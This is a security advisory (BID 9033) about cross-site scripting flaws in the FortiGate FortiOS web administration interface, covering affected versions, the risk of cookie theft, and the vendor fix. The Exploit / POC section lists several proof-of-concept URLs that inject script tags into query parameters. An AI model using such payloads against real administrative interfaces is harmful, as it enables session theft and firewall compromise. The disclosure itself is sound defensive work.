FortiGate Firewall Web Interface Cross-Site Scripting Vulnerabilities

BID:9033

Info

FortiGate Firewall Web Interface Cross-Site Scripting Vulnerabilities

Bugtraq ID: 9033
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Nov 12 2003 12:00AM
Updated: Nov 12 2003 12:00AM
Credit: Discovery is credited to "Maarten Hartsuijker" <[email protected]>.
Vulnerable: Fortinet FortiOS 2.50
Fortinet FortiOS 2.36
Fortinet FortiOS 2.5 0MR4
Not Vulnerable: Fortinet FortiOS 2.50 MR5

Discussion

FortiGate Firewall Web Interface Cross-Site Scripting Vulnerabilities

Multiple cross-site scripting vulnerabilities have been reported in the FortiGate Firewall web administrative interface.

These issues could be exploited by enticing an administrative user to follow a malicious link that includes hostile HTML and script code as values for URI parameters. If such a link is followed, the hostile code may be rendered in the administrator's browser. This could lead to theft of cookie-based authentication credentials, which contain the username and MD5 hash of the password, allowing for full compromise of the firewall.

Exploit / POC

FortiGate Firewall Web Interface Cross-Site Scripting Vulnerabilities

The following examples were provided:

https://www.example.com/firewall/policy/dlg?q=-1&fzone=t<script>alert('oops')</script>>&tzone=dmz

https://www.example.com/firewall/policy/policy?fzone=internal&tzone=dmz1<script>alert('oops')</script>

https://www.example.com/antispam/listdel?file=blacklist&name=b<script>alert('oops')</script>&startline=0

https://www.example.com/antispam/listdel?file=whitelist&name=a<script>alert('oops')</script>&startline=0(naturally)

http://www.example.com/theme1/selector?button=status,monitor,session"><script>alert('oops')</script>&button_url=/system/status/status,/system/status/moniter,/system/status/session

http://www.example.com/theme1/selector?button=status,monitor,session&button_url=/system/status/status"><script>alert('oops')</script>,/system/status/moniter,/system/status/session

http://www.example.com/theme1/selector?button=status,monitor,session&button_url=/system/status/status,/system/status/moniter"><script>alert('oops')</script>,/system/status/session

http://www.example.com/theme1/selector?button=status,monitor,session&button_url=/system/status/status,/system/status/moniter,/system/status/session"><script>alert('oops')</script>

Solution / Fix

FortiGate Firewall Web Interface Cross-Site Scripting Vulnerabilities

Solution:
This issue has been addressed in FortiOS 2.50 MR5. Users should contact the vendor to obtain upgrades.

References

FortiGate Firewall Web Interface Cross-Site Scripting Vulnerabilities

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